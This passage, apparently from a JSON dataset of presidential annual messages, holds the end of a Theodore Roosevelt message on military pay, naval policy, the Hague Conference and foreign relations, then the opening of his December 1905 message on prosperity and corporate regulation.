of men intrusted in great\nnumbers to his care. A bill has long been pending before the Congress\nfor the reorganization of the Medical Corps; its passage is urgently\nneeded.But the Medical Department is not the only department for which\nincreased provision should be made. The rate of pay for the officers\nshould be greatly increased; there is no higher type of citizen than\nthe American regular officer, and he should have a fair reward for his\nadmirable work. There should be a relatively even greater increase in\nthe pay for the enlisted men. In especial provision should be made for\nestablishing grades equivalent to those of warrant officers in the Navy\nwhich should be open to the enlisted men who serve sufficiently long\nand who do their work well. Inducements should be offered sufficient to\nencourage really good men to make the Army a life occupation. The prime\nneeds of our present Army is to secure and retain competent\nnoncommissioned officers. This difficulty rests fundamentally on the\nquestion of pay. The noncommissioned officer does not correspond with\nan unskilled laborer; he corresponds to the best type of skilled\nworkman or to the subordinate official in civil institutions. Wages\nhave greatly increased in outside occupations in the last forty years\nand the pay of the soldier, like the pay of the officers, should be\nproportionately increased. The first sergeant of a company, if a good\nman, must be one of such executive and administrative ability, and such\nknowledge of his trade, as to be worth far more than we at present pay\nhim. The same is true of the regimental sergeant major. These men\nshould be men who had fully resolved to make the Army a life occupation\nand they should be able to look forward to ample reward; while only men\nproperly qualified should be given a chance to secure these final\nrewards. The increase over the present pay need not be great in the\nlower grades for the first one or two enlistments, but the increase\nshould be marked for the noncommissioned officers of the upper grades\nwho serve long enough to make it evident that they intend to stay\npermanently in the Army, while additional pay should be given for high\nqualifications in target practice. The position of warrant officer\nshould be established and there should be not only an increase of pay,\nbut an increase of privileges and allowances and dignity, so as to make\nthe grade open to noncommissioned officers capable of filling them\ndesirably from every standpoint. The rate of desertion in our Army now\nin time of peace is alarming. The deserter should be treated by public\nopinion as a man guilty of the greatest crime; while on the other hand\nthe man who serves steadily in the Army should be treated as what he\nis, that is, as preeminently one of the best citizens of this Republic.\nAfter twelve years' service in the Army, my own belief is that the man\nshould be given a preference according to his ability for certain types\nof office over all civilian applicants without examination. This should\nalso apply, of course, to the men who have served twelve years in the\nNavy. A special corps should be provided to do the manual labor now\nnecessarily demanded of the privates themselves.Among the officers there should be severe examinations to weed out the\nunfit up to the grade of major. From that position on appointments\nshould be solely by selection and it should be understood that a man of\nmerely average capacity could never get beyond the position of major,\nwhile every man who serves in any grade a certain length of time prior\nto promotion to the next grade without getting the promotion to the\nnext grade should be forthwith retired. The practice marches and field\nmaneuvers of the last two or three years have been invaluable to the\nArmy. They should be continued and extended. A rigid and not a\nperfunctory examination of physical capacity has been provided for the\nhigher grade officers. This will work well. Unless an officer has a\ngood physique, unless he can stand hardship, ride well, and walk\nfairly, he is not fit for any position, even after he has become a\ncolonel. Before he has become a colonel the need for physical fitness\nin the officers is almost as great as in the enlisted man. I hope\nspeedily to see introduced into the Army a far more rigid and\nthoroughgoing test of horsemanship for all field officers than at\npresent. There should be a Chief of Cavalry just as there is a Chief of\nArtillery.Perhaps the most important of all legislation needed for the benefit of\nthe Army is a law to equalize and increase the pay of officers and\nenlisted men of the Army, Navy, Marine Corps, and Revenue-Cutter\nService. Such a bill has been prepared, which it is hoped will meet\nwith your favorable consideration. The next most essential measure is\nto authorize a number of extra officers as mentioned above. To make the\nArmy more attractive to enlisted men, it is absolutely essential to\ncreate a service corps, such as exists in nearly every modern army in\nthe world, to do the skilled and unskilled labor, inseparably connected\nwith military administration, which is now exacted, without just\ncompensation, of enlisted men who voluntarily entered the Army to do\nservice of an altogether different kind. There are a number of other\nlaws necessary to so organize the Army as to promote its efficiency and\nfacilitate its rapid expansion in time of war; but the above are the\nmost important.It was hoped The Hague Conference might deal with the question of the\nlimitation of armaments. But even before it had assembled informal\ninquiries had developed that as regards naval armaments, the only ones\nin which this country had any interest, it was hopeless to try to\ndevise any plan for which there was the slightest possibility of\nsecuring the assent of the nations gathered at The Hague. No plan was\neven proposed which would have had the assent of more than one first\nclass Power outside of the United States. The only plan that seemed at\nall feasible, that of limiting the size of battleships, met with no\nfavor at all. It is evident, therefore, that it is folly for this\nNation to base any hope of securing peace on any international\nagreement as to the limitations of armaments. Such being the fact it\nwould be most unwise for us to stop the upbuilding of our Navy. To\nbuild one battleship of the best and most advanced type a year would\nbarely keep our fleet up to its present force. This is not enough. In\nmy judgment, we should this year provide for four battleships. But it\nis idle to build battleships unless in addition to providing the men,\nand the means for thorough training, we provide the auxiliaries for\nthem, unless we provide docks, the coaling stations, the colliers and\nsupply ships that they need. We are extremely deficient in coaling\nstations and docks on the Pacific, and this deficiency should not\nlonger be permitted to exist. Plenty of torpedo boats and destroyers\nshould be built. Both on the Atlantic and Pacific coasts,\nfortifications of the best type should be provided for all our greatest\nharbors.We need always to remember that in time of war the Navy is not to be\nused to defend harbors and sea-coast cities; we should perfect our\nsystem of coast fortifications. The only efficient use for the Navy is\nfor offense. The only way in which it can efficiently protect our own\ncoast against the possible action of a foreign navy is by destroying\nthat foreign navy. For defense against a hostile fleet which actually\nattacks them, the coast cities must depend upon their forts, mines,\ntorpedoes, submarines, and torpedo boats and destroyers. All of these\ntogether are efficient for defensive purposes, but they in no way\nsupply the place of a thoroughly efficient navy capable of acting on\nthe offensive; for parrying never yet won a fight. It can only be won\nby hard hitting, and an aggressive sea-going navy alone can do this\nhard hitting of the offensive type. But the forts and the like are\nnecessary so that the Navy may be footloose. In time of war there is\nsure to be demand, under pressure, of fright, for the ships to be\nscattered so as to defend all kind of ports. Under penalty of terrible\ndisaster, this demand must be refused. The ships must be kept together,\nand their objective made the enemies' fleet. If fortifications are\nsufficiently strong, no modern navy will venture to attack them, so\nlong as the foe has in existence a hostile navy of anything like the\nsame size or efficiency. But unless there exists such a navy then the\nfortifications are powerless by themselves to secure the victory. For\nof course the mere deficiency means that any resolute enemy can at his\nleisure combine all his forces upon one point with the certainty that\nhe can take it.Until our battle fleet is much larger than at present it should never\nbe split into detachments so far apart that they could not in event of\nemergency be speedily united. Our coast line is on the Pacific just as\nmuch as on the Atlantic. The interests of California, Oregon, and\nWashington are as emphatically the interests of the whole Union as\nthose of Maine and New York, of Louisiana and Texas. The battle fleet\nshould now and then be moved to the Pacific, just as at other times it\nshould be kept in the Atlantic. When the Isthmian Canal is built the\ntransit of the battle fleet from one ocean to the other will be\ncomparatively easy. Until it is built I earnestly hope that the battle\nfleet will be thus shifted between the two oceans every year or two.\nThe marksmanship on all our ships has improved phenomenally during the\nlast five years. Until within the last two or three years it was not\npossible to train a battle fleet in squadron maneuvers under service\nconditions, and it is only during these last two or three years that\nthe training under these conditions has become really effective.\nAnother and most necessary stride in advance is now being taken. The\nbattle fleet is about starting by the Straits of Magellan to visit the\nPacific coast.. Sixteen battleships are going under the command of\nRear-Admiral Evans, while eight armored cruisers and two other\nbattleships will meet him at San Francisco, whither certain torpedo\ndestroyers are also going. No fleet of such size has ever made such a\nvoyage, and it will be of very great educational use to all engaged in\nit. The only way by which to teach officers and men how to handle the\nfleet so as to meet every possible strain and emergency in time of war\nis to have them practice under similar conditions in time of peace.\nMoreover, the only way to find out our actual needs is to perform in\ntime of peace whatever maneuvers might be necessary in time of war.\nAfter war is declared it is too late to find out the needs; that means\nto invite disaster. This trip to the Pacific will show what some of our\nneeds are and will enable us to provide for them. The proper place for\nan officer to learn his duty is at sea, and the only way in which a\nnavy can ever be made efficient is by practice at sea, under all the\nconditions which would have to be met if war existed.I bespeak the most liberal treatment for the officers and enlisted men\nof the Navy. It is true of them, as likewise of the officers and\nenlisted men of the Army, that they form a body whose interests should\nbe close to the heart of every good American. In return the most rigid\nperformance of duty should be exacted from them. The reward should be\nample when they do their best; and nothing less than their best should\nbe tolerated. It is idle to hope for the best results when the men in\nthe senior grades come to those grades late in life and serve too short\na time in them. Up to the rank of lieutenant-commander promotion in the\nNavy should be as now, by seniority, subject, however, to such\nrigid tests as would eliminate the unfit. After the grade of\nlieutenant-commander, that is, when we come to the grade of command\nrank, the unfit should be eliminated in such manner that only the\nconspicuously fit would remain, and sea service should be a principal\ntest of fitness. Those who are passed by should, after a certain length\nof service in their respective grades, be retired. Of a given number of\nmen it may well be that almost all would make good lieutenants and most\nof them good lieutenant-commanders, while only a minority be fit to be\ncaptains, and but three or four to be admirals. Those who object to\npromotion otherwise than by mere seniority should reflect upon the\nelementary fact that no business in private life could be successfully\nmanaged if those who enter at the lowest rungs of the ladder should\neach in turn, if he lived, become the head of the firm, its active\ndirector, and retire after he had held the position a few months. On\nits face such a scheme is an absurdity. Chances for improper favoritism\ncan be minimized by a properly formed board; such as the board of last\nJune, which did such conscientious and excellent work in elimination.If all that ought to be done can not now be done, at least let a\nbeginning be made. In my last three annual Messages, and in a special\nMessage to the last Congress, the necessity for legislation that will\ncause officers of the line of the Navy to reach the grades of captain\nand rear-admiral at less advanced ages and which will cause them to\nhave more sea training and experience in the highly responsible duties\nof those grades, so that they may become thoroughly skillful in\nhandling battleships, divisions, squadrons, and fleets in action, has\nbeen fully explained and urgently recommended. Upon this subject the\nSecretary of the Navy has submitted detailed and definite\nrecommendations which have received my approval, and which, if enacted\ninto law, will accomplish what is immediately necessary, and will, as\ncompared with existing law, make a saving of more than five millions of\ndollars during the next seven years. The navy personnel act of 1899 has\naccomplished all that was expected of it in providing satisfactory\nperiods of service in the several subordinate grades, from the grade of\nensign to the grade of lieutenant-commander, but the law is inadequate\nin the upper grades and will continue to be inadequate on account of\nthe expansion of the personnel since its enactment. Your attention is\ninvited to the following quotations from the report of the personnel\nboard of 1906, of which the Assistant Secretary of the Navy was\npresident:\"Congress has authorized a considerable increase in the number of\nmidshipmen at the Naval Academy, and these midshipmen upon graduation\nare promoted to ensign and lieutenant (junior-grade). But no provision\nhas been made for a corresponding increase in the upper grades, the\nresult being that the lower grades will become so congested that a\nmidshipman now in one of the lowest classes at Annapolis may possibly\nnot be promoted to lieutenant until he is between 45 and 50 years of\nage. So it will continue under the present law, congesting at the top\nand congesting at the bottom. The country fails to get from the\nofficers of the service the best that is in them by not providing\nopportunity for their normal development and training. The board\nbelieves that this works a serious detriment to the efficiency of the\nNavy and is a real menace to the public safety.\"As stated in my special Message to the last Congress: \"I am firmly of\nthe opinion that unless the present conditions of the higher\ncommissioned personnel is rectified by judicious legislation the future\nof our Navy will be gravely compromised.\" It is also urgently necessary\nto increase the efficiency of the Medical Corps of the Navy. Special\nlegislation to this end has already been proposed; and I trust it may\nbe enacted without delay.It must be remembered that everything done in the Navy to fit it to do\nwell in time of war must be done in time of peace. Modern wars are\nshort; they do not last the length of time requisite to build a\nbattleship; and it takes longer to train the officers and men to do\nwell on a battleship than it takes to build it. Nothing effective can\nbe done for the Navy once war has begun, and the result of the war, if\nthe combatants are otherwise equally matched, will depend upon which\npower has prepared best in time of peace. The United States Navy is the\nbest guaranty the Nation has that its honor and interest will not be\nneglected; and in addition it offers by far the best insurance for\npeace that can by human ingenuity be devised.I call attention to the report of the official Board of Visitors to the\nNaval Academy at Annapolis which has been forwarded to the Congress.\nThe report contains this paragraph:\"Such revision should be made of the courses of study and methods of\nconducting and marking examinations as will develop and bring out the\naverage all-round ability of the midshipman rather than to give him\nprominence in any one particular study. The fact should be kept in mind\nthat the Naval Academy is not a university but a school, the primary\nobject of which is to educate boys to be efficient naval officers.\nChanges in curriculum, therefore, should be in the direction of making\nthe course of instruction less theoretical and more practical. No\nportion of any future class should be graduated in advance of the full\nfour years' course, and under no circumstances should the standard of\ninstruction be lowered. The Academy in almost all of its departments is\nnow magnificently equipped, and it would be very unwise to make the\ncourse of instruction less exacting than it is to-day.\"Acting upon this suggestion I designated three seagoing officers, Capt.\nRichard Wainwright, Commander Robert S. Griffin, and Lieut. Commander\nAlbert L. Key, all graduates of the Academy, to investigate conditions\nand to recommend to me the best method of carrying into effect this\ngeneral recommendation. These officers performed the duty promptly and\nintelligently, and, under the personal direction of Capt. Charles J.\nBadger, Superintendent of the Academy, such of the proposed changes as\nwere deemed to be at present advisable were put into effect at the\nbeginning of the academic year, October 1, last. The results, I am\nconfident, will be most beneficial to the Academy, to the midshipmen,\nand to the Navy.In foreign affairs this country's steady policy is to behave toward\nother nations as a strong and self-respecting man should behave toward\nthe other men with whom he is brought into contact. In other words, our\naim is disinterestedly to help other nations where such help can be\nwisely given without the appearance of meddling with what does not\nconcern us; to be careful to act as a good neighbor; and at the same\ntime, in good-natured fashion, to make it evident that we do not intend\nto be imposed upon.The Second International Peace Conference was convened at The Hague on\nthe 15th of June last and remained in session until the 18th of\nOctober. For the first time the representatives of practically all the\ncivilized countries of the world united in a temperate and kindly\ndiscussion of the methods by which the causes of war might be narrowed\nand its injurious effects reduced.Although the agreements reached in the Conference did not in any\ndirection go to the length hoped for by the more sanguine, yet in many\ndirections important steps were taken, and upon every subject on the\nprogramme there was such full and considerate discussion as to justify\nthe belief that substantial progress has been made toward further\nagreements in the future. Thirteen conventions were agreed upon\nembodying the definite conclusions which had been reached, and\nresolutions were adopted marking the progress made in matters upon\nwhich agreement was not yet sufficiently complete to make conventions\npracticable.The delegates of the United States were instructed to favor an\nagreement for obligatory arbitration, the establishment of a permanent\ncourt of arbitration to proceed judicially in the hearing and decision\nof international causes, the prohibition of force for the collection of\ncontract debts alleged to be due from governments to citizens of other\ncountries until after arbitration as to the justice and amount of the\ndebt and the time and manner of payment, the immunity of private\nproperty at sea, the better definition of the rights of neutrals, and,\nin case any measure to that end should be introduced, the limitation of\narmaments.In the field of peaceful disposal of international differences several\nimportant advances were made. First, as to obligatory arbitration.\nAlthough the Conference failed to secure a unanimous agreement upon the\ndetails of a convention for obligatory arbitration, it did resolve as\nfollows;\"It is unanimous: (1) In accepting the principle for obligatory\narbitration; (2) In declaring that certain differences, and notably\nthose relating to the interpretation and application of international\nconventional stipulations are susceptible of being submitted to\nobligatory arbitration without any restriction.\"In view of the fact that as a result of the discussion the vote upon\nthe definite treaty of obligatory arbitration, which was proposed,\nstood 32 in favor to 9 against the adoption of the treaty, there can be\nlittle doubt that the great majority of the countries of the world have\nreached a point where they are now ready to apply practically the\nprinciples thus unanimously agreed upon by the Conference.The second advance, and a very great one, is the agreement which\nrelates to the use of force for the collection of contract debts. Your\nattention is invited to the paragraphs upon this subject in my Message\nof December, 1906, and to the resolution of the Third American\nConference at Rio in the summer of 1906. The convention upon this\nsubject adopted by the Conference substantially as proposed by the\nAmerican delegates is as follows:\"In order to avoid between nations armed conflicts of a purely\npecuniary origin arising from contractual debts claimed of the\ngovernment of one country by the government of another country to be\ndue to its nationals, the signatory Powers agree not to have recourse\nto armed force for the collection of such contractual debts.\"However, this stipulation shall not be applicable when the debtor\nState refuses or leaves unanswered an offer to arbitrate, or, in case\nof acceptance, makes it impossible to formulate the terms of\nsubmission, or, after arbitration, fails to comply with the award\nrendered.\"It is further agreed that arbitration here contemplated shall be in\nconformity, as to procedure, with Chapter III of the Convention for the\nPacific Settlement of International Disputes adopted at The Hague, and\nthat it shall determine, in so far as there shall be no agreement\nbetween the parties, the justice and the amount of the debt, the time\nand mode of payment thereof.\"Such a provision would have prevented much injustice and extortion in\nthe past, and I cannot doubt that its effect in the future will be most\nsalutary.A third advance has been made in amending and perfecting the convention\nof 1899 for the voluntary settlement of international disputes, and\nparticularly the extension of those parts of that convention which\nrelate to commissions of inquiry. The existence of those provisions\nenabled the Governments of Great Britain and Russia to avoid war,\nnotwithstanding great public excitement, at the time of the Dogger Bank\nincident, and the new convention agreed upon by the Conference gives\npractical effect to the experience gained in that inquiry.Substantial progress was also made towards the creation of a permanent\njudicial tribunal for the determination of international causes. There\nwas very full discussion of the proposal for such a court and a general\nagreement was finally reached in favor of its creation. The Conference\nrecommended to the signatory Powers the adoption of a draft upon which\nit agreed for the organization of the court, leaving to be determined\nonly the method by which the judges should be selected. This remaining\nunsettled question is plainly one which time and good temper will\nsolve.A further agreement of the first importance was that for the creation\nof an international prize court. The constitution, organization and\nprocedure of such a tribunal were provided for in detail. Anyone who\nrecalls the injustices under which this country suffered as a neutral\npower during the early part of the last century can not fail to see in\nthis provision for an international prize court the great advance which\nthe world is making towards the substitution of the rule of reason and\njustice in place of simple force. Not only will the international prize\ncourt be the means of protecting the interests of neutrals, but it is\nin itself a step towards the creation of the more general court for the\nhearing of international controversies to which reference has just been\nmade. The organization and action of such a prize court can not fail to\naccustom the different countries to the submission of international\nquestions to the decision of an international tribunal, and we may\nconfidently expect the results of such submission to bring about a\ngeneral agreement upon the enlargement of the practice.Numerous provisions were adopted for reducing the evil effects of war\nand for defining the rights and duties of neutrals.The Conference also provided for the holding of a third Conference\nwithin a period similar to that which elapsed between the First and\nSecond Conferences.The delegates of the United States worthily represented the spirit of\nthe American people and maintained with fidelity and ability the policy\nof our Government upon all the great questions discussed in the\nConference.The report of the delegation, together with authenticated copies of the\nconventions signed, when received, will be laid before the Senate for\nits consideration.When we remember how difficult it is for one of our own legislative\nbodies, composed of citizens of the same country, speaking the same\nlanguage, living under the same laws, and having the same customs, to\nreach an agreement, or even to secure a majority upon any difficult and\nimportant subject which is proposed for legislation, it becomes plain\nthat the representatives of forty-five different countries, speaking\nmany different languages, accustomed to different methods of procedure,\nwith widely diverse interests, who discussed so many different subjects\nand reached agreements upon so many, are entitled to grateful\nappreciation for the wisdom, patience, and moderation with which they\nhave discharged their duty. The example of this temperate discussion,\nand the agreements and the efforts to agree, among representatives of\nall the nations of the earth, acting with universal recognition of the\nsupreme obligation to promote peace, can not fail to be a powerful\ninfluence for good in future international relations.A year ago in consequence of a revolutionary movement in Cuba which\nthreatened the immediate return to chaos of the island, the United\nStates intervened, sending down an army and establishing a provisional\ngovernment under Governor Magoon. Absolute quiet and prosperity have\nreturned to the island because of this action. We are now taking steps\nto provide for elections in the island and our expectation is within\nthe coming year to be able to turn the island over again to government\nchosen by the people thereof. Cuba is at our doors. It is not possible\nthat this Nation should permit Cuba again to sink into the condition\nfrom which we rescued it. All that we ask of the Cuban people is that\nthey be prosperous, that they govern themselves so as to bring content,\norder and progress to their island, the Queen of the Antilles; and our\nonly interference has been and will be to help them achieve these\nresults.An invitation has been extended by Japan to the Government and people\nof the United States to participate in a great national exposition to\nbe held at Tokyo from April 1 to October 31, 1912, and in which the\nprincipal countries of the world are to be invited to take part. This\nis an occasion of special interest to all the nations of the world, and\npeculiarly so to us; for it is the first instance in which such a great\nnational exposition has been held by a great power dwelling on the\nPacific; and all the nations of Europe and America will, I trust, join\nin helping to success this first great exposition ever held by a great\nnation of Asia. The geographical relations of Japan and the United\nStates as the possessors of such large portions of the coasts of the\nPacific, the intimate trade relations already existing between the two\ncountries, the warm friendship which has been maintained between them\nwithout break since the opening of Japan to intercourse with the\nwestern nations, and her increasing wealth and production, which we\nregard with hearty goodwill and wish to make the occasion of mutually\nbeneficial commerce, all unite in making it eminently desirable that\nthis invitation should be accepted. I heartily recommend such\nlegislation as will provide in generous fashion for the representation\nof this Government and its people in the proposed exposition. Action\nshould be taken now. We are apt to underestimate the time necessary for\npreparation in such cases. The invitation to the French Exposition of\n1900 was brought to the attention of the Congress by President\nCleveland in December, 1895; and so many are the delays necessary to\nsuch proceedings that the period of font years and a half which then\nintervened before the exposition proved none too long for the proper\npreparation of the exhibits.The adoption of a new tariff by Germany, accompanied by conventions for\nreciprocal tariff concessions between that country and most of the\nother countries of continental Europe, led the German Government to\ngive the notice necessary to terminate the reciprocal commercial\nagreement with this country proclaimed July 13, 1900. The notice was to\ntake effect on the 1st of March, 1906, and in default of some other\narrangements this would have left the exports from the United States to\nGermany subject to the general German tariff duties, from 25 to 50 per\ncent higher than the conventional duties imposed upon the goods of most\nof our competitors for German trade.Under a special agreement made between the two Governments in February,\n1906, the German Government postponed the operation of their notice\nuntil the 30th of June, 1907. In the meantime, deeming it to be my duty\nto make every possible effort to prevent a tariff war between the\nUnited States and Germany arising from misunderstanding by either\ncountry of the conditions existing in the other, and acting upon the\ninvitation of the German Government, I sent to Berlin a commission\ncomposed of competent experts in the operation and administration of\nthe customs tariff, from the Departments of the Treasury and Commerce\nand Labor. This commission was engaged for several mouths in conference\nwith a similar commission appointed by the German Government, under\ninstructions, so far as practicable, to reach a common understanding as\nto all the facts regarding the tariffs of the United States and Germany\nmaterial and relevant to the trade relations between the two countries.\nThe commission reported, and upon the basis of the report, a further\ntemporary commercial agreement was entered into by the two countries,\npursuant to which, in the exercise of the authority conferred upon the\nPresident by the third section of the tariff act of July 24, 1897, I\nextended the reduced tariff rates provided for in that section to\nchampagne and all other sparkling wines, and pursuant to which the\nGerman conventional or minimum tariff rates were extended to about 96\n1/2 per cent of all the exports from the United States to Germany. This\nagreement is to remain in force until the 30th of June, 1908, and until\nsix months after notice by either party to terminate it.The agreement and the report of the commission on which it is based\nwill be laid before the Congress for its information.This careful examination into the tariff relations between the United\nStates and Germany involved an inquiry into certain of our methods of\nadministration which had been the cause of much complaint on the part\nof German exporters. In this inquiry I became satisfied that certain\nvicious and unjustifiable practices had grown up in our customs\nadministration, notably the practice of determining values of imports\nupon detective reports never disclosed to the persons whose interests\nwere affected. The use of detectives, though often necessary, tends\ntowards abuse, and should be carefully guarded. Under our practice as I\nfound it to exist in this case, the abuse had become gross and\ndiscreditable. Under it, instead of seeking information as to the\nmarket value of merchandise from the well-known and respected members\nof the commercial community in the country of its production, secret\nstatements were obtained from informers and discharged employees and\nbusiness rivals, and upon this kind of secret evidence the values of\nimported goods were frequently raised and heavy penalties were\nfrequently imposed upon importers who were never permitted to know what\nthe evidence was and who never had an opportunity to meet it. It is\nquite probable that this system tended towards an increase of the\nduties collected upon imported goods, but I conceive it to be a\nviolation of law to exact more duties than the law provides, just as it\nis a violation to admit goods upon the payment of less than the legal\nrate of duty. This practice was repugnant to the spirit of American law\nand to American sense of justice. In the judgment of the most competent\nexperts of the Treasury Department and the Department of Commerce and\nLabor it was wholly unnecessary for the due collection of the customs\nrevenues, and the attempt to defend it merely illustrates the\ndemoralization which naturally follows from a long continued course of\nreliance upon such methods. I accordingly caused the regulations\ngoverning this branch of the customs service to be modified so that\nvalues are determined upon a hearing in which all the parties\ninterested have an opportunity to be heard and to know the evidence\nagainst them. Moreover our Treasury agents are accredited to the\ngovernment of the country in which they seek information, and in\nGermany receive the assistance of the quasi-official chambers of\ncommerce in determining the actual market value of goods, in accordance\nwith what I am advised to be the true construction of the law.These changes of regulations were adapted to the removal of such\nmanifest abuses that I have not felt that they ought to be confined to\nour relations with Germany; and I have extended their operation to all\nother countries which have expressed a desire to enter into similar\nadministrative relations.I ask for authority to reform the agreement with China under which the\nindemnity of 1900 was fixed, by remitting and cancelling the obligation\nof China for the payment of all that part of the stipulated indemnity\nwhich is in excess of the sum of eleven million, six hundred and\nfifty-five thousand, four hundred and ninety-two dollars and sixty-nine\ncents, and interest at four per cent. After the rescue of the foreign\nlegations in Peking during the Boxer troubles in 1900 the Powers\nrequired from China the payment of equitable indemnities to the several\nnations, and the final protocol under which the troops were withdrawn,\nsigned at Peking, September 7, 1901, fixed the amount of this indemnity\nallotted to the United States at over $20,000,000, and China paid, up\nto and including the 1st day of June last, a little over $6,000,000. It\nwas the first intention of this Government at the proper time, when all\nclaims had been presented and all expenses ascertained as fully as\npossible, to revise the estimates and account, and as a proof of\nsincere friendship for China voluntarily to release that country from\nits legal liability for all payments in excess of the sum which should\nprove to be necessary for actual indemnity to the United States and its\ncitizens.This Nation should help in every practicable way in the education of\nthe Chinese people, so that the vast and populous Empire of China may\ngradually adapt itself to modern conditions. One way of doing this is\nby promoting the coming of Chinese students to this country and making\nit attractive to them to take courses at our universities and higher\neducational institutions. Our educators should, so far as possible,\ntake concerted action toward this end.On the courteous invitation of the President of Mexico, the Secretary\nof State visited that country in September and October and was received\neverywhere with the greatest kindness and hospitality.He carried from the Government of the United States to our southern\nneighbor a message of respect and good will and of desire for better\nacquaintance and increasing friendship. The response from the\nGovernment and the people of Mexico was hearty and sincere. No pains\nwere spared to manifest the most friendly attitude and feeling toward\nthe United States.In view of the close neighborhood of the two countries the relations\nwhich exist between Mexico and the United States are just cause for\ngratification. We have a common boundary of over 1,500 miles from the\nGulf of Mexico to the Pacific. Much of it is marked only by the\nshifting waters of the Rio Grande. Many thousands of Mexicans are\nresiding upon our side of the line and it is estimated that over 40,000\nAmericans are resident in Mexican territory and that American\ninvestments in Mexico amount to over seven hundred million dollars. The\nextraordinary industrial and commercial prosperity of Mexico has been\ngreatly promoted by American enterprise, and Americans are sharing\nlargely in its results. The foreign trade of the Republic already\nexceeds $240,000,000 per annum, and of this two-thirds both of exports\nand imports are exchanged with the United States. Under these\ncircumstances numerous questions necessarily arise between the two\ncountries. These questions are always approached and disposed of in a\nspirit of mutual courtesy and fair dealing. Americans carrying on\nbusiness in Mexico testify uniformly to the kindness and consideration\nwith which they are treated and their sense of the security of their\nproperty and enterprises under the wise administration of the great\nstatesman who has so long held the office of Chief Magistrate of that\nRepublic.The two Governments have been uniting their efforts for a considerable\ntime past to aid Central America in attaining the degree of peace and\norder which have made possible the prosperity of the northern ports of\nthe Continent. After the peace between Guatemala, Honduras, and\nSalvador, celebrated under the circumstances described in my last\nMessage, a new war broke out between the Republics of Nicaragua,\nHonduras, and Salvador. The effort to compose this new difficulty has\nresulted in the acceptance of the joint suggestion of the Presidents of\nMexico and of the United States for a general peace conference between\nall the countries of Central America. On the 17th day of September last\na protocol was signed between the representatives of the five Central\nAmerican countries accredited to this Government agreeing upon a\nconference to be held in the City of Washington \"in order to devise the\nmeans of preserving the good relations among said Republics and\nbringing about permanent peace in those countries.\" The protocol\nincludes the expression of a wish that the Presidents of the United\nStates and Mexico should appoint \"representatives to lend their good\nand impartial offices in a purely friendly way toward the realization\nof the objects of the conference.\" The conference is now in session and\nwill have our best wishes and, where it is practicable, our friendly\nassistance.One of the results of the Pan American Conference at Rio Janeiro in the\nsummer of 1906 has been a great increase in the activity and usefulness\nof the International Bureau of American Republics. That institution,\nwhich includes all the American Republics in its membership and brings\nall their representatives together, is doing a really valuable work in\ninforming the people of the United States about the other Republics and\nin making the United States known to them. Its action is now limited by\nappropriations determined when it was doing a work on a much smaller\nscale and rendering much less valuable service. I recommend that the\ncontribution of this Government to the expenses of the Bureau be made\ncommensurate with its increased work.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 5, 1905", 
+    "speech": "To the Senate and House of Representatives:The people of this country continue to enjoy great prosperity.\nUndoubtedly there will be ebb and flow in such prosperity, and this ebb\nand flow will be felt more or less by all members of the community,\nboth by the deserving and the undeserving. Against the wrath of the\nLord the wisdom of man cannot avail; in time of flood or drought human\ningenuity can but partially repair the disaster. A general failure of\ncrops would hurt all of us. Again, if the folly of man mars the general\nwell-being, then those who are innocent of the folly will have to pay\npart of the penalty incurred by those who are guilty of the folly. A\npanic brought on by the speculative folly of part of the business\ncommunity would hurt the whole business community. But such stoppage of\nwelfare, though it might be severe, would not be lasting. In the long\nrun the one vital factor in the permanent prosperity of the country is\nthe high individual character of the average American worker, the\naverage American citizen, no matter whether his work be mental or\nmanual, whether he be farmer or wage-worker, business man or\nprofessional man.In our industrial and social system the interests of all men are so\nclosely intertwined that in the immense majority of cases a\nstraight-dealing man who by his efficiency, by his ingenuity and\nindustry, benefits himself must also benefit others. Normally the man\nof great productive capacity who becomes rich by guiding the labor of\nmany other men does so by enabling them to produce more than they could\nproduce without his guidance; and both he and they share in the\nbenefit, which comes also to the public at large. The superficial fact\nthat the sharing may be unequal must never blind us to the underlying\nfact that there is this sharing, and that the benefit comes in some\ndegree to each man concerned. Normally the wage-worker, the man of\nsmall means, and the average consumer, as well as the average producer,\nare all alike helped by making conditions such that the man of\nexceptional business ability receives an exceptional reward for his\nability. Something can be done by legislation to help the general\nprosperity; but no such help of a permanently beneficial character can\nbe given to the less able and less fortunate, save as the results of a\npolicy which shall inure to the advantage of all industrious and\nefficient people who act decently; and this is only another way of\nsaying that any benefit which comes to the less able and less fortunate\nmust of necessity come even more to the more able and more fortunate.\nIf, therefore, the less fortunate man is moved by envy of his more\nfortunate brother to strike at the conditions under which they have\nboth, though unequally, prospered, the result will assuredly be that\nwhile danger may come to the one struck at, it will visit with an even\nheavier load the one who strikes the blow. Taken as a whole we must all\ngo up or down together.Yet, while not merely admitting, but insisting upon this, it is also\ntrue that where there is no governmental restraint or supervision some\nof the exceptional men use their energies not in ways that are for the\ncommon good, but in ways which tell against this common good. The\nfortunes amassed through corporate organization are now so large, and\nvest such power in those that wield them, as to make it a matter of\nnecessity to give to the sovereign--that is, to the Government, which\nrepresents the people as a whole--some effective power of supervision\nover their corporate use. In order to insure a healthy social and\nindustrial life, every big corporation should be held responsible by,\nand be accountable to, some sovereign strong enough to control its\nconduct. I am in no sense hostile to corporations. This is an age of\ncombination, and any effort to prevent all combination will be not only\nuseless, but in the end vicious, because of the contempt for law which\nthe failure to enforce law inevitably produces. We should, moreover,\nrecognize in cordial and ample fashion the immense good effected by\ncorporate agencies in a country such as ours, and the wealth of\nintellect, energy, and fidelity devoted to their service, and therefore\nnormally to the service of the public, by their officers and directors.\nThe corporation has come to stay, just as the trade union has come to\nstay. Each can do and has done great good. Each should be favored so\nlong as it does good. But each should be sharply checked where it acts\nagainst law and justice.So long as the finances of the Nation are kept upon an honest basis no\nother question of internal economy with which the Congress has the\npower to deal begins to approach in importance the matter of\nendeavoring to secure proper industrial conditions under which the\nindividuals--and especially the great corporations--doing an interstate\nbusiness are to act. The makers of our National Constitution provided\nespecially that the regulation of interstate commerce should come\nwithin the sphere of the General Government. The arguments in favor of\ntheir taking this stand were even then overwhelming. But they are far\nstronger today, in view of the enormous development of great business\nagencies, usually corporate in form. Experience has shown conclusively\nthat it is useless to try to get any adequate regulation and\nsupervision of these great corporations by State action. Such\nregulation and supervision can only be effectively exercised by a\nsovereign whose jurisdiction is coextensive with the field of work of\nthe corporations--that is, by the National Government. I believe that\nthis regulation and supervision can be obtained by the enactment of law\nby the Congress. If this proves impossible, it will certainly be\nnecessary ultimately to confer in fullest form such power upon the\nNational Government by a proper amendment of the Constitution. It would\nobviously be 